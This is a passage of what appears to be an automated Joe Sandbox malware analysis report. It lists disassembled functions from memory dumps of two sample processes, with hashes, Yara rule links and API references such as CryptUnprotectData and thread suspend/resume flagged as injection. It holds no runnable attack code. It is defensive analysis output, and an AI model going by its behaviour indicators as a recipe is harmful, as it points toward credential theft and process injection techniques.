b, xrefs: 00007FFD9B971D92
u, xrefs: 00007FFD9B972306
_, xrefs: 00007FFD9B971CB1
", xrefs: 00007FFD9B970AB2
K, xrefs: 00007FFD9B9716CB

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID: $!$"$#$$$%$&$'$($)$*$+$,$-$.$/$0$1$2$3$4$5$6$7$8$9$:$;$<$=$=I$>$?$@$A$B$BZlO$C$D$E$F$G$H$I$J$K$L$M$N$O$P$Q$R$S$T$U$U|:Z$V$W$X$Y$Z$[$\$]$^$_$`$a$b$c$d$e$f$g$h$i$j$k$l$m$n$o$p$q$q-a+$q-a+$r$s$t$u$v$w$wCSDBDymg2VpPzimAMFBaEesN4sq3eX3iDIbWJMUVoXbdOnk5RE4I1irij0HVHsCfbG$x$y$z${$|$}$~$$/Z$$/Z
API String ID: 0-3469974465
Opcode ID: 42b2cfad7cd8925fa7e0bf1e998fcacb14822a6c158151399eff7b885ef92ec7
Instruction ID: 3ab4b2720c6de5670a162dc81ede0e09e9a689637a283cda70a29411b5a0642b
Opcode Fuzzy Hash: 42b2cfad7cd8925fa7e0bf1e998fcacb14822a6c158151399eff7b885ef92ec7
Instruction Fuzzy Hash: C243FD74A545598FDBA8EB14C8A9BADB3B1FF88304F4145E9D00EA72A5CF356E80CF41

Function 00007FFD9B9863F8 Relevance: 1.8, Strings: 1, Instructions: 580COMMON

Download Yara Rule

Strings

3_^, xrefs: 00007FFD9B986401

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID: 3_^
API String ID: 0-3162662871
Opcode ID: 4506cb0566ad749bdd686c1b057a7d035b9a29180ca9c46f118c57ccd50aaaa6
Instruction ID: d73182a8e53122762f354131978a8c838bee7fe4a7c1ecc42af8bb205945fe2c
Opcode Fuzzy Hash: 4506cb0566ad749bdd686c1b057a7d035b9a29180ca9c46f118c57ccd50aaaa6
Instruction Fuzzy Hash: 6E12F717E0F7D22FE312E7B8A4B94E93F60AF4222C72A41F7D1D88E0E7DD1865498255

Function 00007FFD9B7D5946 Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

+, xrefs: 00007FFD9B7D5AF0

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID: +
API String ID: 0-2126386893
Opcode ID: f0a88a441ea570e86308cce3b087f5be59154bded9084589392aeee48be33802
Instruction ID: 634bf11c3bfe04e40cc336abaf6e0f248a40eaf0e07a55950af9f6c13c070993
Opcode Fuzzy Hash: f0a88a441ea570e86308cce3b087f5be59154bded9084589392aeee48be33802
Instruction Fuzzy Hash: 1F619E75E0166A8FDBA4DF68C985BDDB7F1AB48315F1402E9990CE7260DA34ABC4CF40

Function 00007FFD9B986BD3 Relevance: .6, Instructions: 564COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc5dd110974e2c63376719708c50e9728e298b87eee524ee957a7d6e207082f3
Instruction ID: 7df9c66f78bd1b0806bd8f0438544e5007a49ca88a0ad222912b2da57a863000
Opcode Fuzzy Hash: bc5dd110974e2c63376719708c50e9728e298b87eee524ee957a7d6e207082f3
Instruction Fuzzy Hash: 28126917D0E3D22BD316F7B8A9798DE3FA05F4221D72A81F3E0AD4D1D7DD0865488299

Function 00007FFD9B7D0872 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2a673127e2b9d1177bc872d7acfd20624d1e6074199310f080f6fbdd8dc4d47
Instruction ID: 224606a7f89cafc9f7def0e06871dec29893b43e48c06e0709dfdee46e0940f7
Opcode Fuzzy Hash: e2a673127e2b9d1177bc872d7acfd20624d1e6074199310f080f6fbdd8dc4d47
Instruction Fuzzy Hash: D9718270A08A4C8FDFA8DF58C855BE977E1FF59310F11422AE84DC72A1DB749685CB81

Function 00007FFD9B984E5C Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64966c2acf438e8b0c14561e499d5308165c6d3c5b0ae891f68ece670e52f2bb
Instruction ID: f73b98b57015f14850e4d28b9d828c64883ca770cf3366393d71584ac35bb387
Opcode Fuzzy Hash: 64966c2acf438e8b0c14561e499d5308165c6d3c5b0ae891f68ece670e52f2bb
Instruction Fuzzy Hash: 89512A27D0C79229D315F7F8E4E98EDBB309F4132DB3982B6D29D894C78E14748182D4

Function 00007FFD9B9757FA Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ade1f637bd410f0f4325c3d52f5c29076a13469a4ea1966e5eee16fa9ffe647f
Instruction ID: b9f52b621526844b9790e5445496c19e8b310f5374b623569712fabfc079d594
Opcode Fuzzy Hash: ade1f637bd410f0f4325c3d52f5c29076a13469a4ea1966e5eee16fa9ffe647f
Instruction Fuzzy Hash: 6F410466A0F39E2FE7619B7C54B51E63FA0DF02324F0611B7C0988F1A3DD545A469381

Function 00007FFD9B986AF3 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1229668ba35837f36671eba661a6aca746b079c3937c201fa39cadb27f0eb876
Instruction ID: 4f1339416d500c2ddf8203d9e95beae4dd72a64bd604367665ad84afa62e4dcc
Opcode Fuzzy Hash: 1229668ba35837f36671eba661a6aca746b079c3937c201fa39cadb27f0eb876
Instruction Fuzzy Hash: 03210727B09B2B6BC714F9F8F5CD5D96714DB8523A724C277D398CD086CD10A44683D5

Function 00007FFD9B984FFB Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 069a784092c909586871c8c6844798e0179bb543f7cda1fc47e69e7f6162285a
Instruction ID: f09c3c2f9c847169423700f93d82e90349703eb6725d6783bd12df94a4ebdb68
Opcode Fuzzy Hash: 069a784092c909586871c8c6844798e0179bb543f7cda1fc47e69e7f6162285a
Instruction Fuzzy Hash: C531903BA08B176ED304FAF8E1928D97360BF8432D7358231D519CB5C78B25B455C6E1

Function 00007FFD9B97BC3D Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ab695d561a9159bb1814016a1b8fe33c9d123eb4d7fde7a3cb5061f9c2ee2c2
Instruction ID: e9dda748f1d49c957a79da47fb49df09d8daef1720f2917392447ea2cda636ad
Opcode Fuzzy Hash: 2ab695d561a9159bb1814016a1b8fe33c9d123eb4d7fde7a3cb5061f9c2ee2c2
Instruction Fuzzy Hash: D931F270E18A1D8FCF84EF98D491AEDBBF1FB69300F2111AAD419E3290CB35A941CB44

Analysis Process: zDqAlrJjQSnFyiiCVBYxCXJUQP.exePID: 7920, Parent PID: 7760COMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	46.7%
Signature Coverage:	20%
Total number of Nodes:	15
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BF5367E Relevance: 1.8, APIs: 1, Instructions: 306
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32 ref: 00007FFD9BF53899

Memory Dump Source

Source File: 00000005.00000002.4249337671.00007FFD9BF50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bf50000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: e1664a3cc97c3719dea829dc986273a12058393cecf3e5810e263621a1f061b5
Instruction ID: 225eabeb36c0a661f5cdb706c272c70f11d77a5fa10523a699122e290cd80576
Opcode Fuzzy Hash: e1664a3cc97c3719dea829dc986273a12058393cecf3e5810e263621a1f061b5
Instruction Fuzzy Hash: 9B919170A0CA4D8FDB98EF68C855BA9BBF1FF59300F0041AED44DD3292DA75A985CB41

Function 00007FFD9BA00D67 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d601e7c88842c78e3fce2ccf7794dee1fdbb7c52d5e4dcc1bb6d5d3a76da266
Instruction ID: 89772d900fdf7f18560ea29572eb4febaf69731ccfc926e3da80953628586a3f
Opcode Fuzzy Hash: 3d601e7c88842c78e3fce2ccf7794dee1fdbb7c52d5e4dcc1bb6d5d3a76da266
Instruction Fuzzy Hash: 8AA1D071A08A8E8FE799DB68C8757E97FF2EB56311F4001BAD049D72D6CAB81845C740

Function 00007FFD9BA00B47 Relevance: 2.6, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!k9, xrefs: 00007FFD9BA00B4E
c9, xrefs: 00007FFD9BA00B56

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID: c9$!k9
API String ID: 0-3254877420
Opcode ID: 1faaa978e8089e68774563949242ab9c0aa6149049d8b6299286347915c6a554
Instruction ID: 89dae0c554a0f63b0c54476d6f2b03307cf02dcaf29cd4e956787559b9f56ca5
Opcode Fuzzy Hash: 1faaa978e8089e68774563949242ab9c0aa6149049d8b6299286347915c6a554
Instruction Fuzzy Hash: 3911AF3262864E8FCB44EF5CD8516E9B7A0FB54324F01017AE849C3260D330B565CBC0

Function 00007FFD9BBAEDB8 Relevance: 1.7, APIs: 1, Instructions: 159
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFD9BBAEEB1

Memory Dump Source

Source File: 00000005.00000002.4243861265.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bba0000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: eb6e2c39b2f3530e2207334d4595a4fe8744a0cfb931f313b49aab73dd739ef3
Instruction ID: 69acba1917910d0fa5d84c91fcbee5a89756780067c97a1d79d8d272eb6f82f2
Opcode Fuzzy Hash: eb6e2c39b2f3530e2207334d4595a4fe8744a0cfb931f313b49aab73dd739ef3
Instruction Fuzzy Hash: 88517A70D0978C8FDB95DFA8C895AE8BBF0EF16310F1441AAD049DB292CA359886CB01

Function 00007FFD9BBAD5ED Relevance: 1.6, APIs: 1, Instructions: 139
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SuspendThread.KERNEL32 ref: 00007FFD9BBAD6C1

Memory Dump Source

Source File: 00000005.00000002.4243861265.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bba0000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: c8056af97ac58b908f95ba4f5df0ce629ba63c35512428c3031553c533aa04cf
Instruction ID: 3c325516981ba1c895ab8359f5d9abcd28dc0410dd1e51b09c23834f46a1ad75
Opcode Fuzzy Hash: c8056af97ac58b908f95ba4f5df0ce629ba63c35512428c3031553c533aa04cf
Instruction Fuzzy Hash: CC415A70E0864D8FDB58DFA8D899BEDBBF0FB5A310F10416AD049E7292DA74A845CF41

Function 00007FFD9BBB0BC5 Relevance: 1.6, APIs: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 00007FFD9BBB0C92

Memory Dump Source

Source File: 00000005.00000002.4243861265.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bba0000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e43bba35ec3f90a26290c937450344991b0e0b8744151e9858883a5d6865f44e
Instruction ID: 3545f4bbe003141b1174eba27566c093504e0fda14a8e0b80319c381473c47ad
Opcode Fuzzy Hash: e43bba35ec3f90a26290c937450344991b0e0b8744151e9858883a5d6865f44e
Instruction Fuzzy Hash: 8E41F970E0865C8FDB98DF98D895BEDBBF0FB5A310F10416AD049E7252DA71A885CF41

Function 00007FFD9BBAEF19 Relevance: 1.4, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FFD9BBAEFF1

Memory Dump Source

Source File: 00000005.00000002.4243861265.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bba0000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 4341f290827477b6c79401e147c666f751edfda09f73ab43d2aba72fea47e750
Instruction ID: a2bf86eef6441edbcda9cfed7735ba3528f996a018cb41f25506cb2012ce34ef
Opcode Fuzzy Hash: 4341f290827477b6c79401e147c666f751edfda09f73ab43d2aba72fea47e750
Instruction Fuzzy Hash: D2416D30D0865D8FDB59DFA8C894BECBBF0FF16310F1041AAD449E7292DA34A885CB01

Function 00007FFD9BA009B0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 593cc90fdce9a276bfad5a4016c76bb7d4aaefe4fcbaa2ba9b496e794b7a9531
Instruction ID: 03bc5316aa960e4fdd2ed2f58926b324778bb38b213d75b4b33e7e2e40d06fdf
Opcode Fuzzy Hash: 593cc90fdce9a276bfad5a4016c76bb7d4aaefe4fcbaa2ba9b496e794b7a9531
Instruction Fuzzy Hash: 21510922B0811B4AE7267BBCB4A1DED7BD0DF41338F0A42B6E45F860D7CD1A684583D5

Function 00007FFD9BA0090D Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be64ec514f1594009e57bac310bae9571ecedbb1ea58f067176ac7b156cebdbf
Instruction ID: c2578627cfd61a66a8679c86598db1455f3fff45c797980405c35c537794df52
Opcode Fuzzy Hash: be64ec514f1594009e57bac310bae9571ecedbb1ea58f067176ac7b156cebdbf
Instruction Fuzzy Hash: 0A51B131B0865D8FDB54FFA8D4A5AEDBBA0FF58315F01057AD04AD7196CA35A881CB80

Function 00007FFD9BA00960 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1cd3f9eac0a64ef09818d1d3dc19a094aa8913678dbc0f0eb62cf3474a700c
Instruction ID: ae8a721fb2aa05c3f13abfe97b9f418296d04754bd7e90b38e1bf2b271cffc71
Opcode Fuzzy Hash: 0d1cd3f9eac0a64ef09818d1d3dc19a094aa8913678dbc0f0eb62cf3474a700c
Instruction Fuzzy Hash: D0413D31A1891D8FDB94FFA8D4A5AED77E1FF58315F11017AE40AD3296CA35A8818B80

Function 00007FFD9BA00998 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0787de24f850cc644293de026c703f6a8aa215bfe7cdc573c182caff322f263
Instruction ID: dee5e8eaaf3cdb3c0b01d7ec8a929dffbdf657ed1e1c2137d9a2ea7c11d17603
Opcode Fuzzy Hash: f0787de24f850cc644293de026c703f6a8aa215bfe7cdc573c182caff322f263
Instruction Fuzzy Hash: 97410A30A1495D8FDB94EF98C4A5AEDB7F1FF68315F11016AE409E32A5DB34A881CB81

Function 00007FFD9BA0494C Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9841c8ddb56dc7766e8407bf851d8957a6a0ca9acf9acb19f091f832595a298d
Instruction ID: 1f3fdc8618f03f53887ae3de17ceb024cd84f5a233497b06c71a86cb11557e24
Opcode Fuzzy Hash: 9841c8ddb56dc7766e8407bf851d8957a6a0ca9acf9acb19f091f832595a298d
Instruction Fuzzy Hash: 2C31BB71915A2D8FEFA4DF15CC94AADB3B1FBA4311F1001AAD00EE36A2CB755A81CF41

Function 00007FFD9BA00C25 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1860ca515cee2d1f66022be1a2dc391b543273a1498741a1f528cf0556da0314
Instruction ID: 9454256fe3b6d895b4fbc79c8c452f6dc2440d1d8349bffce519574f9864b4cd
Opcode Fuzzy Hash: 1860ca515cee2d1f66022be1a2dc391b543273a1498741a1f528cf0556da0314
Instruction Fuzzy Hash: 0B21F836B0E69D4FE72297A8DC212E97B60EF83711F0641B7C185C71E2DA741609C795

Function 00007FFD9BA006A5 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 413c5c72cd87a43d5812030ead2085c0881ace8eaa58d6381df67ce8e8be2359
Instruction ID: 0d690dc6ceaed674afa5e08c56eca2977e35e4c35f744e9e47c95a500c5603fe
Opcode Fuzzy Hash: 413c5c72cd87a43d5812030ead2085c0881ace8eaa58d6381df67ce8e8be2359
Instruction Fuzzy Hash: B621C231E0964E8EEB61BFA89455AFD77E0FF55304F010472E45DC20E1DEB4A6948B41

Function 00007FFD9BA00C38 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bd7c83a232ac1868dc30de559d66ae37daa97bf2f9ce0421741f9414b4d4370
Instruction ID: 3d308ba5c9cd88bd0ee0b874717296b94302faa8e3b6d93620316a47d759f1e2
Opcode Fuzzy Hash: 5bd7c83a232ac1868dc30de559d66ae37daa97bf2f9ce0421741f9414b4d4370
Instruction Fuzzy Hash: 4411E635B0E69E4FE722ABA4C8212E97B70EF43710F0641B7C185DB1E2CA7826058795

Function 00007FFD9BA00C40 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd0914db7163b33a87cc8b838aec40e0305135aa64a65fabe57b4ef2483f39e0
Instruction ID: 71d433ebc5b3f6ff220f129d653787a67534cdea64e5711cab3ecc5a0ba998d7
Opcode Fuzzy Hash: cd0914db7163b33a87cc8b838aec40e0305135aa64a65fabe57b4ef2483f39e0
Instruction Fuzzy Hash: 23110A35B0E69D4FE7229BA4C8202E97B70EF43710F0641B7C185DB1E3CA782605C795

Function 00007FFD9BA00C48 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d03bd33db7aa330f5ad3b0866f983b61135508c2e7bf5b429dd06b5d06f8e02a
Instruction ID: 0433548d288f430f3b68ee27728663bf0500da254b7f2d8e6e39dbe0416504f8
Opcode Fuzzy Hash: d03bd33db7aa330f5ad3b0866f983b61135508c2e7bf5b429dd06b5d06f8e02a
Instruction Fuzzy Hash: A311E575A0E28E8FE722ABA4C8206E97B70EF47710F0641B7C191DB1E3CA786605C785

Function 00007FFD9BA00C50 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d5c6c0d1166729d061bd8d600e299416b7e95cb93dd4f9845ff887abd610f13
Instruction ID: 26e20ca34eafefd8f0516a71594477ce9a12dbc0d90caa323b76ca548ee06057
Opcode Fuzzy Hash: 8d5c6c0d1166729d061bd8d600e299416b7e95cb93dd4f9845ff887abd610f13
Instruction Fuzzy Hash: D701C074A0E28E8EE722ABA4C8646A97B70AF07700F0901B7C095CB1E3CA786604C745

Function 00007FFD9BA013A0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68fe9e7d82338b5024763f3e5a69ced0dd2eb50e56454d97fae0e17652237ccd
Instruction ID: ebd7395c9314a6352a586bd769688f1625bf38e8e2d2e915434ae11f2eaa80ca
Opcode Fuzzy Hash: 68fe9e7d82338b5024763f3e5a69ced0dd2eb50e56454d97fae0e17652237ccd
Instruction Fuzzy Hash: 0DF0BD74A1494D9FDF94EF58C448AAA7BE0FF28304F014466F819D7260D630E590CB80

Function 00007FFD9BA006C0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88538b6105c7126dc9a3debcfb940283a19b59f34f34f177f4558d65a15d0c80
Instruction ID: cc1764875862055e7a1cd6811ffa925e3db8d4ee4b91cdabdb6d6807c5846ddd
Opcode Fuzzy Hash: 88538b6105c7126dc9a3debcfb940283a19b59f34f34f177f4558d65a15d0c80
Instruction Fuzzy Hash: 25F05430A1564E9FEBA0FFA4D4556EE77E0FF14304F010576F85DD21A1CA74A6908B84

Function 00007FFD9BA043BB Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2114daf3721b2afffa02191a0dfa2ad00983dedb22547dd9ff54d7ce275ce9a3
Instruction ID: 6af336737dfa7a14b434bd8ea783908910c1a07aac0b91600cc7823ed55397ef
Opcode Fuzzy Hash: 2114daf3721b2afffa02191a0dfa2ad00983dedb22547dd9ff54d7ce275ce9a3
Instruction Fuzzy Hash: E8F03070A0955D8BEBA49B44C8647ECB3B0EF56305F1150A8D24EA22C1CE782AC58F09

Function 00007FFD9BA064FA Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4240606010.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba00000_zDqAlrJjQSnFyiiCVBYxCXJUQP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d887c5075f0298bb8af0466c0c6546aac745585c959c6a28b247946e6ab1dbe7
Instruction ID: 9abac584ddd91cd66f691702397655dc961fe4e869b0f44a40c4e86da4e586bd
